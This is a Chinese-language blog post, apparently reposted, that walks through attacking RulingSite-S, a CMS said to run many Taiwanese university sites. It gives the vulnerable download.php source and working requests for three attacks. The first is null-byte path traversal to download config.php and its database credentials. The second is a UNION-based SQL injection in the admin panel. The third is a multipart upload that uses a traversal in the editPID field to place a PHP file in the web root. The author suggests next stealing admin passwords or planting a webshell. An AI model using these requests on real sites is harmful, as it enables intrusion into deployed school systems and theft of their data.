RulingSite-S 系统漏洞 (台湾大学居多)

来源:互联网 发布:2017中国机电贸易数据 编辑:程序博客网 时间:2024/04/28 12:13

RulingSite-S是台湾省学校中使用比较广泛的一套cms,功能十分强(chou)大(lou)。页面简洁,布局清晰,后台操作便捷,简单上手—-

1.任意文件下载

这个已经不新鲜了,在乌云平台也有人报告过了。代码采用ionCube加密,类似于zend。(解密呢也是相当费劲,因为我不会自己写工具,所以使用了网上流传的ionCube-decoder工具,这个工具需要注意的是只能在英文版系统下解密。)

/download.php源码:
<!--?php
include("init.inc.php" );
get_referer( false );
if ( empty($_GET['filename'] ) || empty( $_GET['title'] ) || empty( $_GET['dir'] ) )
{
error_display( t_("缺少檔案下載參數" ) );
}
$file_name =$_GET['filename'];
$file_download =uploadpath( )."/".$_GET['dir']."/".$file_name;
$file_extension =get_file_extension( $file_name );
if ( strpos($_SERVER['HTTP_USER_AGENT'], "MSIE" ) )
{
$file_save =utf8tobig5( $_GET['title'] ).".".$file_extension;
}
else
{
$file_save =$_GET['title'].".".$file_extension;
}
$file_save =ereg_replace( "[\\/:*?\"<>|]", "_", $file_save);
if ( $file_extension== "php" )
{
exit( "Cannotbe used for ".$file_extension." files!" );
}
$mimeType =get_file_mimetype( $file_name );
if ( strpos($_SERVER['HTTP_USER_AGENT'], "MSIE 5" ) || strpos($_SERVER['HTTP_USER_AGENT'], "Opera 7" ) )
{
$mimeType ="application/x-download";
}
ob_end_clean( );
header( "Pragma:public" );
header( "Expires:0" );
header("Cache-Control: must-revalidate, post-check=0, pre-check=0" );
header("Cache-Control: public" );
header("Content-Description: File Transfer" );
header("Content-Type: ".$mimeType );
header("Content-Disposition: attachment; filename=".$file_save );
header("Content-Transfer-Encoding: binary" );
header("Content-Length: ".filesize( $file_download ) );
@readfile(@$file_download );
?>

filename(文件名),dir(要下载的那个文件的目录),title(最终保存的文件名)三个参数均由get传入,且缺一不可。并且还限制下载php文件

参数神马的没有进行有效的过滤,构造filename=index.php%00.txt&dir=../../&title=1即可下载index.php

http://www.xxx.tw/img.php?img=config.php&dir=../conf/&width=100&height=75
/img.php?img=config.php&dir=../conf/&width=100&height=75

http://xxxxxx/download.php?filename=config.php%00.txt&dir=../conf/&title=config,网站配置文件,当然也少不了数据库配置信息。默认的PHPmyadmin一般都会有的,有了数据库,一般就可以拿到管理员账号密码,或者直接导出一句话木马了。

2.后台sql注入

        这个程序前台对注入还是过滤了的,但是后台就一点都没有过滤。(不过这个洞有毛用o()o

http://xxxxxx/admin/archive.admin.php?action=edititem&editSn=33%27%20and%201=2%20union%20select%20user()%20%23

貌似是没有任何过滤的

3.后台getshell

       后台可以上传任意文件,但是

<FilesMatch“\.(php|pl|py|jsp|asp|htm|shtml|sh|cgi)$”>
ForceType text/plain
</FilesMatch>

上传目录的这些脚本都会解析为txt。(吐槽下过滤吧,php过滤了,php3,php4,php5在一定条件下也是可执行的,htm过滤了,html照样可以,既然shtml过滤了,为什么不顺便把shtm也过滤了?====

@fd提醒说phtm,phtml。这个是也是个不错的思路,不过还要看httpd.conf有没有配置

不过我的人品一向是比较差的

不过存在任意文件上传就是危险的,(代码就不解密了,留着以后慢慢看)。

可上传的地方有很多,一个一个抓包,仔细观察之后,发现

在个人管理个人档案管理的地方这里上传档案比较有趣:

第一次上传时抓的包

POST /inc/pplugin/sharing/sharing.rev.php HTTP/1.1
------WebKitFormBoundaryjfqKPbHvsd5yX37a
Content-Disposition:form-data; name="File_Title" ---这是自己写的文件名

12q
——WebKitFormBoundaryjfqKPbHvsd5yX37a
Content-Disposition: form-data; name=”Filename”; filename=”1.php”
Content-Type: application/x-php

——WebKitFormBoundaryjfqKPbHvsd5yX37a
Content-Disposition: form-data; name=”Tag”

2222 —-这是自己写的标签
——WebKitFormBoundaryjfqKPbHvsd5yX37a
Content-Disposition: form-data; name=”editPID”
—-
这会还是空的

——WebKitFormBoundaryjfqKPbHvsd5yX37a
Content-Disposition: form-data; name=”action”

additem
——WebKitFormBoundaryjfqKPbHvsd5yX37a
Content-Disposition: form-data; name=”Submit”

Submit
——WebKitFormBoundaryjfqKPbHvsd5yX37a–

,然后看看我们上传的文件地址

组合下就是,/files/users_sharing/7/22_28094971.php

然后我们编辑下,再次抓包

POST /inc/pplugin/sharing/sharing.rev.php HTTP/1.1
------WebKitFormBoundarywfqTRwUrBIfuRIBG
Content-Disposition:form-data; name="File_Title"

12q
——WebKitFormBoundarywfqTRwUrBIfuRIBG
Content-Disposition: form-data; name=”Filename”; filename=”1.php”
Content-Type: application/x-php

<?php phpinfo();?>
——WebKitFormBoundarywfqTRwUrBIfuRIBG
Content-Disposition: form-data; name=”Tag”

2222
——WebKitFormBoundarywfqTRwUrBIfuRIBG
Content-Disposition: form-data; name=”action”

edititem
——WebKitFormBoundarywfqTRwUrBIfuRIBG
Content-Disposition: form-data; name=”editPID”

7
——WebKitFormBoundarywfqTRwUrBIfuRIBG
Content-Disposition: form-data; name=”editSn”

22
——WebKitFormBoundarywfqTRwUrBIfuRIBG
Content-Disposition: form-data; name=”Submit”

Submit
——WebKitFormBoundarywfqTRwUrBIfuRIBG–

看到editPIDgin了吗?
/files/users_sharing/7/22_28094971.php
,这是我们之前上传的得到路径,现在吧editPID改为7/../../../等于就是跳转到网站的根目录下,上传看看!


访问下看看,


成功~
这个getshell呢,是会员中心的个人管理面板,也可以说是前台getshell了。

我承认我比较水~第一次写文章,望见谅

0 0
原创粉丝点击